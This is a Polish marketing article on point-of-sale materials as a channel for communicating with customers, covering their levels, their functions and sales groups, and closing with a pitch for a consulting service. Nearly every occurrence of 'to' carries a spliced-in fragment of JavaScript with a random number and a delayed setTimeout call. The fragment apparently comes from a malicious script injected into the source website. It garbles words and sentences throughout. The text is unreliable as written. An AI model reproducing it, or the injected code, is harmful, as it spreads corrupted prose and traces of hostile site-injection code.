In Artykuły, Handel, Uniwersalne

Inaczej dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to materiały marketingowe typu BTL, bezpośrednio wspomagające sprzedaż w punkcie sprzedaży. Ale raczej należy je potrak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tować jako kanał komunikacji z klientem. W dodatku kanał o unikalnych możliwościach, gdyż przez dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, że znajduje się w punkcie sprzedaży, jest wsparty bezpośrednio dla klienta dostępnym i „odczuwalnym” Konceptem Sprzedażowym. To zaś wsparcie znacznie zwiększa skuteczność oddziaływania, dlatego tworząc te materiały i je dystrybuując war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to się postarać. Tymczasem częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to przegrywają one walkę o wysiłek, budżet i uwagę ze znacznie droższym marketingiem ATL. Niesłusznie, gdyż dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to one mają większy wpływ na magiczną formułę sprzedaży.

Uwaga. „POS dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to komunikacja pasywna”. I jednostronna. I dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to różni ją od intensywnej obsługi klienta, gdzie komunikacja jest dwustronna i aktywna (sama poszukuje kupującego). POS tylko :leży i pachnie”, aż k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toś ją zauważy i wykorzysta.

Czy jednak klient w ogóle ją zauważa? Przecież np. w ATL komunikat trzeba wielokrotnie powtarzać, aby był w ogóle zauważony? Zaś np. ulotki zwykle wyrzuca, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dlaczego więc w placówce handlowej miałby zwracać na nie uwagę? Tu zresztą ważniejszy od marketingu wydaje się produkt, ewentualnie personel, który można przecież o coś zapytać. A jednak. Klient wprawdzie materiałów POS zwykle nie widzi, ale jednak je dostrzega. Można też liczyć na dużo łatwiejszy do osiągnięcia niż w ATL efekt wielokrotnego powtórzenia.

Klient nie widzi, ale dostrzega

Klient w placówce handlowej nie czyta. I szkoda się nawet starać, nie zacznie. W końcu gdyby chciał poczytać, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to poszedłby do czytelni. Z tego punktu widzenia w zasadzie wszystko jedno co zawierają materiały reklamowe. Ale jednak być powinny. Gdyż

Jak działa pozycjonowanie elementami Konceptu Sprzedażowego, w szczególności materiałami POS?

Uwaga. „POS jest jak kolczyki”. Rzadko który mężczyzna potrafi powiedzieć, jakie kolczyki miała jego partnerka na spotkaniu. Ale potrafi ocenić, czy dobrze wyglądała. Tak samo jest z placówką handlową.

Od tej zasady jest jednak wyjątek. To pracownicy. Ci mają dużo czasu, szczególnie gdy akurat nie ma nikogo do obsługiwania. I mogą poczytać, nawet z nudów. Można też ich do tego nakłonić, choćby administracyjnie, czego raczej nie da się zrobić z klientem. Także w procesie obsługi można nauczyć ich korzystać

Jak patrzeć na POS?

Na materiały POS można patrzeć pod różnym kątem:

Uwaga. „tak czy inaczej, POS dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to powinien być system”. A nie zbiór przypadkowych rozwiązań. System zaś oznacza dwie rzeczy – wymiar i sposób mocowania. Jeśli wymiary są własną wielokrotnością a sposób mocowania uniwersalny, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to można dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to uznać za system. Dla placówki handlowej zaś systemowość oznacza wymienność i łatwość zarządzania – dwie kluczowe cechy dla sprawnej operacji.

Poziomy POS

W każdym przypadku chodzi o interakcję komunikatu POS z klientem. Ale w każdym w inny sposób i w różnym celu.

Materiały POS (czy ogólnie marketing w placówce) mogą przede wszystkim zwabić klienta do środka. Mogą też nim w tej placówce pokierować. Tak, aby poszedł tam, gdzie chce tego sprzedający. A wreszcie mogą nakłonić do zakupu, też już konkretnego i wybranego produktu.

Poziom oddziaływania materiałów POS działa tak samo jak składowe magicznej formuły sprzedaży (a raczej dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to oddziaływanie doskonale się w nią wpisuje na każdym jej etapie). Jak działa taka formuła? Klient najpierw musi nawiązać kontakt z firmą (albo firma z nim), następnie musi się zdecydować w ogóle coś kupić ( dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to etap konwersji). W końcu zaś wybrać co, ile i za ile kupuje ( dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to etap średniej war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości transakcji). Formuła działa sekwencyjnie, choć oczywiście jej etapy się na siebie nakładają. W tym jej działaniu ma właśnie pomóc zestaw narzędzi typu POS.

Uwaga. „placówka dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie choinka?” A może jednak? W tworzeniu i zarządzaniu materiałami POS przeważa obawa, żeby nie przedobrzyć. I nie przesadzić z ilością informacji na POS, gdyż dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zdezorientuje klienta. To postawa „placówka handlowa dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie bożonarodzeniowa choinka”. A jednak nie ma się czego obawiać. Przecież na raz klient nie widzi wszystkiego, tylko część. I dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to na ogół wąski wycinek. Więc obecność innej komunikacji, nawet w nadmiarze, i tak mu nie przeszkadza. A skoro tak, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to czemu się nim przejmować?

Jest jednak powód, dla którego war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to unikać nadmiaru. Jest dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jednak powód nie związany z klientem, ale z zarządzanie operacyjnym. Skomplikowany i zróżnicowany system jest bowiem w praktyce i rzeczywis dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości placówki handlowej niemożliwy do zarządzania. Skończy się pomieszaniem komunikacji, wykorzystaniem jej niezgodnie z pierwotnym przeznaczeniem, właśnie nieczytelną choinką i chaosem.

Uwaga. „placówka handlowa dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to żywy organizm”. I dlatego zaawansowane, a przez dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to złożone systemy tam nie zadziałają. Tak naprawdę dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jedyny powód, dla którego trzeba unikać w materiałach POS nadmiaru i raczej hołdować zasadzie – „im mniej, tym lepiej”. Im mniej kolorów, tym mniej możliwości, że się pomieszają, że akurat zabraknie komunikacji w jednym i zostanie zastąpiona (niezgodnie z regułą, ale zgodnie ze zdrowym rozsądkiem) tym, co akurat było pod ręką. A w placówce handlowej zawsze obowiązywać będzie zasada „nawet byle jak, ale trzeba się komunikować”. Gdyż klient nie poczeka na tę właściwą komunikację, tylko wyjdzie.

Jak wygląda działanie systemu POS na każdym jego poziomie? Ten system działa z jednej strony jako całość, ale też przez swoje poszczególne składowe, inne i inaczej zarządzane na każdym poziomie

Funkcje

Komunikacja POS nie tylko działa na różnych poziomach magicznej formuły sprzedaży. Ona ma także różne bardzo konkretne funkcje (choć nadal wpisujące się w tę formułę).

Uwaga. „w naturalnym o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toczeniu”. Większość materiałów POS powstaje w komputerze lub w sali konferencyjnej. I tam jest zatwierdzana. Tymczasem dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to poważny błąd. W „boju” te same materiały wyglądają już zupełnie inaczej. Np. nie widać ich już tak dobrze (nie są dobrze oświetlone czy giną wśród rozedrganego i kolorowego wnętrza), niszczą się, przesłaniają je inne materiały (np. te stare) czy same produkty. Dlatego po zaprojek dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towaniu zawsze trzeba przeprowadzić test na „żywym organizmie”. I dopiero wtedy zatwierdzić do produkcji i rozpowszechnienia.

Wrażenie. Niedoceniany, ale jeden z najważniejszych celów POS. Chodzi o stworzenie wrażenia (u klienta, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to element pozycjonowania Konceptu), jaki jest ten Koncept. Może np. wywoływać wrażenie wysokich kompetencji, szerokiego wyboru czy niskiej ceny. Planując POS zawsze trzeba zwrócić uwagę na ten aspekt i zastanowić się, jakie wrażenie wywoła. Bo wywoła zawsze, niezależnie od intencji.

Up-sell. Funkcja wykorzystywana dość powszechnie, choć nie zawsze świadomie, a rzadko skutecznie. Podstawowy błąd w założeniu polega na przyjęciu, że klient dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to przeczyta. A nie przeczyta. W założeniu POS ma przekonać do zakupu droższego produktu, podkreślając jego cechy, ale przede wszystkim porównując z innymi, porównywalnym, choć wprawdzie tańszym, ale wyraźnie gorszym. Sama komunikacja POS tu jednak nie wystarczy, musi być także do czego porównać. I do niedaleko.

Uwaga. „drabinka cenowa”. Czyli posiadanie w ofercie produktów o podobnych cechach (z punktu widzenia wyboru klienta), czyli produktów substytucyjnych ze względu na podstawowe kryterium wyszukiwania, ale o różnych cenach. Takich produktów nie wystarczy jednak tylko posiadać, trzeba dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jeszcze zakomunikować. I wyjaśnić, najlepiej komunikacją POS, dlaczego jedne są droższe, a inne tańsze. Dopiero dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to sprawi, że część klientów wybierze te droższe.

Cross-sell. Znów funkcja dość powszechna, nie zawsze jednak w pełni wykorzystana. Z tych samych powodów co w up-sell, choć dokłada się tu jeszcze jeden. To brak produktów. W takim przypadku sprzedający zakłada, że klien dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towi wystarczy o czymś powiedzieć (już zakładając, że zechce wysłuchać). Ale nawet jeśli wysłucha, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to i tak zapomni, zanim dojdzie do zakupu.

Uwaga. „do, przy i przy okazji”. Produkty dodatkowe mogą być typu „do” – bez tego nie działa, „przy”– z tym działa lepiej oraz „przy okazji”, wprawdzie bez związku z produktem głównym, ale w związku z wizytą. Po co drugi raz stać gdzieś w kolejce, skoro już tu się przyszło, już się s dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toi, a produkt i tak na pewno się przyda?

Wypełnienie. Przede wszystkim wypełnienie przestrzeni. Działa na dwa sposoby, ad hoc, czyli dorywczo i systemowo. Działanie ad-hoc polega na zakrywaniu pustych miejsc, gdy akurat zawiódł system zamawiania i czegoś zabrakło. Do tego służą tak zwane „generyki”. Ubocznym skutkiem jest zadowolenie właściciela, któremu dzięki temu wzrośnie ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towność. A tego nie można pominąć.

Uwaga. „komunikacja generyczna”. Czyli inaczej uniwersalna, tak w treści jak w wymiarze i systemie mocowania. To materiały POS do wykorzystania, gdy firma akurat nie ma niczego innego ciekawego do powiedzenia. Ale żeby nie pozostały puste miejsca na materiały POS, czy tym bardziej, aby nie zajmowały ich materiały nieaktualne, trzeba przygo dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tować taki „ogólny komunikat”. Zawsze przydatny i zawsze aktualny, gdy akurat nic innego nie ma do powiedzenia. Np. można tak podkreślić najważniejsze i wyróżniające cechy firmy (a nie poszczególnych produktów).

Wsparcie sprzedawców. Pomijana, a bardzo ważna i bardzo skuteczna funkcja. Sprzedawcy muszą jakoś zbudować swoją wiedzę, bardzo też im się przyda pomoc przy prowadzeniu

Uwaga. „nowoczesne technologie”. Ale może np. komputer czy tablet mogą już zastąpić POS? Może. Ale dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już raczej narzędzie intensywnej obsługi sprzedaży, a nie pasywnej roli komunikacji POS. Trudno liczyć na dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, że klient sam z nich skorzysta (w końcu nie po dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to przychodzi do placówki, z nowoczesnej technologii może przecież skorzystać w domu czy metrze, do tego ją stworzono. A jeśli tak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to te nowoczesne technologie nie są składową POS, tylko obsługi.

Wsparcie dostawców. Funkcja wykorzystywana masowo, choć nie koniecznie świadomie. To podkreślenie produktów jakiegoś wybranego dostawcy. Wspieranie dostawcy nie jest niczym złym, jeśli robi się dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to na ograniczoną skalę, w ograniczonym czasie i za określone wymierne korzyści. Ale przede wszystkim ze świadomością, k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to na tym korzysta najbardziej.

Uwaga. „k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zarządza formułą, k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ponosi jej koszty, a k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to czerpie pożytki?” Z tym bywa różnie. Koszty funkcjonowania formuły (takie jak czynsze, płace czy koszty operacyjne oraz nakłady) zawsze obciążają jej właściciela czyli firmę sprzedażową. Czasem uda się skłonić dostawców do niewielkiej partycypacji. Jednak ci z kolei bardzo palą się do zarządzania tą formułą, choćby przez narzucenie sposobu organizacji przestrzeni czy właśnie przez swoje materiały POS. I wtedy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to oni głównie czerpią pożytki z zarządzania tą formułą, choć do kosztów dorzucają się najwyżej symbolicznie.

W przypadku każdego poziomu komunikacji POS zawsze można przyjąć jeszcze inny podział. Na dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to co służy tylko wywoływaniu wrażenia (choć nie staje się przez dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to mniej ważne), a także dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co bezpośrednio wspiera sprzedaż.

Teatr i sprzedaż

Sprzedaż jest jak wystawianie sztuki w teatrze. Wszyscy skupiają się na grze głównych ak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torów. Oni są najważniejsi, ale bez wsparcia postaci drugoplanowych, statystów i scenografii i tak się nie uda. Publiczność nie przyjdzie, a i sami ak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torzy wypadną blado. Tak samo jest ze sprzedażą. Decyduje 20% oferty, która odpowiada za 80% obrotu, ale bez 80% tła i tak się nie uda. Tu jednak dużą rolę może odegrać właśnie POS, gdyż właściwie zas dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosowane, może zastąpić dużą część statystów.

Uwaga. „ dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie sprzedaż, ale jak najbardziej ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towność.” A w każdym razie nie dodatkowa sprzedaż, ani od razu, ani nawet po pewnym czasie.

Jak działa teatr? I gdzie można wymienić statystów na dekoracje? To zależy od przynależności do określonej Grupy Sprzedażowej.

Co dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to są Grupy Sprzedażowe A/B/C i D? To podział oferty, ale tym razem wg klientów. Grupa A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to pierwsze 5% najlepiej sprzedających się SKU, które wraz z następnymi 15% (Grupa B) stanowią o 80% obrotów firmy. Dalsze 20% obrotów dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zasługa Grupy C. Pozostaje jeszcze Grupa D, która jest, choć wcale się nie sprzedaje. Ale jest i kosztuje. I ta właśnie Grupa D, częściowo też C dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to miejsce, gdzie kosz dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towny dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towar można zastąpić materiałami POS.

Podsumowanie

Materiały POS dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to kanał komunikacji z klientem. Mogą bezpośrednio przyczyniać się do zwiększenia sprzedaży, mogą też pośrednio, przez pozycjonowanie Konceptu. Ale mogą też poprawiać ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towność Konceptu, tak naprawdę bez zwiększenia sprzedaży, ale przez tanie zapobieganie jej zmniejszeniu. Mogą też tanio zastąpić drogi dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towar, a także równie kosz dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towych, a trudniejszych w zarzadzaniu sprzedawców.

Podnieś efektywność biznesu już dziś!

Aby wdrożyć FRAME w Twojej firmie, wystarczy się z nami skontaktować.